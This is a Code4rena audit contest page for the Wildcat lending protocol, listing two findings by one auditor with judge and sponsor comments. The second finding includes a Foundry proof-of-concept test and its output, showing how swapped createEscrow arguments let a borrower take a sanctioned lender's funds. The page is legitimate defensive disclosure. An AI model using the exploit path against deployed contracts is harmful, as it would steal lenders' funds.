Platform: Code4rena
Start Date: 16/10/2023
Pot Size: $60,500 USDC
Total HM: 16
Participants: 131
Period: 10 days
Judge: 0xTheC0der
Total Solo HM: 3
Id: 296
League: ETH
Rank: 96/131
Findings: 2
Award: $6.79
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xpiken
Also found by: 0xCiphky, 0xComfyCat, 0xStalin, 0xhegel, 0xkazim, 3docSec, AM, Aymen0909, CaeraDenoir, DeFiHackLabs, Drynooo, Eigenvectors, Fulum, HALITUS, HChang26, Jiamin, Juntao, LokiThe5th, Mike_Bello90, MiloTruck, QiuhaoLi, Silvermist, SovaSlava, SpicyMeatball, T1MOH, Toshii, TrungOre, TuringConsulting, Vagner, Yanchuan, ZdravkoHr, _nd_koo, almurhasan, audityourcontracts, ayden, cartlex_, circlelooper, crunch, cu5t0mpeo, deth, erictee, ggg_ttt_hhh, gizzy, gumgumzum, hash, jasonxiale, josephdara, ke1caM, kodyvim, lanrebayode77, marqymarq10, max10afternoon, nirlin, nonseodion, osmanozdemir1, peter, radev_sw, rvierdiiev, said, serial-coder, sl1, smiling_heretic, squeaky_cactus, stackachu, tallo, trachev, zaevlad
0.1213 USDC - $0.12
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarket.sol#L142 https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketConfig.sol#L134
Certain market functionality such as closing and changing the max total supply are not accessible
WildcatMarket#closeMarket
has the onlyController
modifier which only allows the controller contract to make this call.
function closeMarket() external onlyController nonReentrant {//...}
However, there doesn't exist any function inside the WildcatMarketController
that calls the closeMarket
function, therefore it isn't callable.
The same is true with WildcatMarketConfig#setMaxTotalSupply
function setMaxTotalSupply(uint256 _maxTotalSupply) external onlyController nonReentrant {//..}
VIM grep
Add functionality inside WildcatMarketController
that calls closeMarket
and setMaxTotalSupply
Other
#0 - c4-pre-sort
2023-10-27T06:57:44Z
minhquanym marked the issue as primary issue
#1 - c4-pre-sort
2023-10-27T06:58:45Z
minhquanym marked the issue as sufficient quality report
#2 - laurenceday
2023-10-31T22:25:52Z
Valid finding, solid work here everyone!
Our tests prank the controller for these invocations, and we are collectively as dumb as a bag of rocks so we didn't notice this!
#3 - c4-sponsor
2023-10-31T22:26:03Z
laurenceday (sponsor) confirmed
#4 - c4-judge
2023-11-07T13:48:36Z
MarioPoneder marked the issue as satisfactory
#5 - c4-judge
2023-11-07T14:14:06Z
MarioPoneder marked issue #431 as primary and marked this issue as a duplicate of 431
#6 - c4-judge
2023-11-07T14:16:53Z
MarioPoneder changed the severity to 3 (High Risk)
🌟 Selected for report: YusSecurity
Also found by: 0xAsen, 0xCiphky, 0xDING99YA, 0xKbl, 0xSwahili, 0xbepresent, 3docSec, AS, Aymen0909, DeFiHackLabs, GREY-HAWK-REACH, KeyKiril, MiloTruck, QiuhaoLi, Silvermist, SovaSlava, TrungOre, VAD37, Vagner, Yanchuan, ZdravkoHr, ast3ros, cartlex_, d3e4, deth, ggg_ttt_hhh, gizzy, kodyvim, nirlin, nobody2018, rvierdiiev, serial-coder, sl1, tallo, xeros
6.6715 USDC - $6.67
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketWithdrawals.sol#L166 https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketBase.sol#L172
The borrower is able to steal the lenders balance
When the createEscrow
function is called in executeWithdrawal
and WildcatMarketBase
the parameters borrower
and account
are passed in reverse order.
//WildcatMarketBase.sol function _blockAccount(MarketState memory state, address accountAddress) internal { Account memory account = _accounts[accountAddress]; //.. if (scaledBalance > 0) { account.scaledBalance = 0; //@audit here the parameters are passed in reverse order //should be createEscrow(borrower, accountAddress, address(this) instead address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow( accountAddress, //should be borrower borrower, //shoulder be accountAddress address(this) ); //.. } //WildcatSanctionsSentinel.sol function createEscrow( address borrower, //account is passed in instead address account, //borrower is passed in instead address asset ) public override returns (address escrowContract) {//..}
Place the following PoC for a sanctioned lender inside market/WildcatMarketConfig.t.sol
This is a PoC for a borrower stealing a sanctioned lenders funds
function test_nukeFromOrbitBug() external { _deposit(alice, 1e18); address escrow = sanctionsSentinel.getEscrowAddress(alice, borrower, address(market)); console.log("Sanctioning the lender..."); sanctionsSentinel.sanction(alice); console.log("\nBalance of borrower before: %s ETH", market.balanceOf(borrower)/1e18); console.log("Balance of lender before: %s ETH\n", market.balanceOf(alice)/1e18); console.log("Nuking lender..."); market.nukeFromOrbit(alice); vm.startPrank(alice); console.log("is lender sanctioned: %s\n", uint(market.getAccountRole(alice)) == uint(AuthRole.Blocked)); console.log("releasing escrow..."); WildcatSanctionsEscrow(escrow).releaseEscrow(); console.log("\nBalance of borrower after: %s ETH", market.balanceOf(borrower)/1e18); console.log("Balance of lender after: %s ETH\n", market.balanceOf(alice)/1e18); console.log("Even though the sanctions weren't even lifted, the borrower was able to make off with the lenders balance."); console.log("The correct intention should be that when the lender is sanctioned, his collateral is escrowed and later returned when removed from sanctions."); console.log("What actually happens is that when the lender gets sanctioned, his collateral is escrowed and the borrower can take the collateral"); console.log("If the lender is removed from the sanction, his collateral is not returned since it was already sent to the borrower. Leading to a loss of funds"); vm.stopPrank(); }
Output:
Sanctioning the lender... Balance of borrower before: 0 ETH Balance of lender before: 1 ETH Nuking lender... is lender sanctioned: true releasing escrow... Balance of borrower after: 1 ETH Balance of lender after: 0 ETH Even though the sanctions weren't even lifted, the borrower was able to make off with the lenders balance. The correct intention should be that when the lender is sanctioned, his collateral is escrowed and later returned when removed from sanctions. What actually happens is that when the lender gets sanctioned, his collateral is escrowed and the borrower can take the collateral If the lender is removed from the sanction, his collateral is not returned since it was already sent to the borrower. Leading to a loss of funds
VIM
Correct the order that parameters are passed when calling createEscrow
Other
#0 - c4-pre-sort
2023-10-27T02:33:57Z
minhquanym marked the issue as duplicate of #515
#1 - c4-judge
2023-11-07T12:06:10Z
MarioPoneder marked the issue as partial-50
#2 - c4-judge
2023-11-07T12:06:16Z
MarioPoneder marked the issue as satisfactory